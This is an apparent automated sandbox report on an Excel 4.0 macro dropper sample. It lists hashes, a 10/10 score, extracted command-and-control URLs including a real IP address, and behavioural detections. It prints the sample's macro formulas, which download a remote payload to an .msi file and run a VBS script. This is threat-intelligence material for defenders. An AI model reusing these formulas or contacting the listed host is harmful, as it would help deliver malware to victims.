General

  • Target

    5035c33fdc74513068b2fa044dd0f961

  • Size

    6KB

  • Sample

    231222-cmfc6sfden

  • MD5

    5035c33fdc74513068b2fa044dd0f961

  • SHA1

    d8c497e010845a8a517e19c920fef7bb6e29631b

  • SHA256

    d0255aaeeff9c07a2c9802a515585c0b855ff4844864b6bbf98b638f0e201a8d

  • SHA512

    f0731cac7e44a8e7c03fff2ef5fef808e9d095227b883bea4e4c6c3dfcf70ecb9027bfa8348b457f2ad2943dbce98decde8b227c8e47512dff4ef940fbabd9cf

  • SSDEEP

    192:NDSQuSybrA2OmmfRd8UhHFBFYu7b98ydg+5:N7uTM2w31FY2b98ydj

Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://46.17.98.187/index.php

http://google.com/index.php

Attributes
  • formulas

    =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://46.17.98.187/index.php","C:\~\pes.msi",0,0) =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://google.com/index.php","C:\~\pes.msi",0,0) =EXEC("wscript C:\zer\spp.vbs") =HALT()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187/index.php

xlm40.dropper

http://google.com/index.php

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187/index.php

Targets

    • Target

      5035c33fdc74513068b2fa044dd0f961

    • Size

      6KB

    • MD5

      5035c33fdc74513068b2fa044dd0f961

    • SHA1

      d8c497e010845a8a517e19c920fef7bb6e29631b

    • SHA256

      d0255aaeeff9c07a2c9802a515585c0b855ff4844864b6bbf98b638f0e201a8d

    • SHA512

      f0731cac7e44a8e7c03fff2ef5fef808e9d095227b883bea4e4c6c3dfcf70ecb9027bfa8348b457f2ad2943dbce98decde8b227c8e47512dff4ef940fbabd9cf

    • SSDEEP

      192:NDSQuSybrA2OmmfRd8UhHFBFYu7b98ydg+5:N7uTM2w31FY2b98ydj

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Process spawned suspicious child process

      This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

MITRE ATT&CK Enterprise v15

Tasks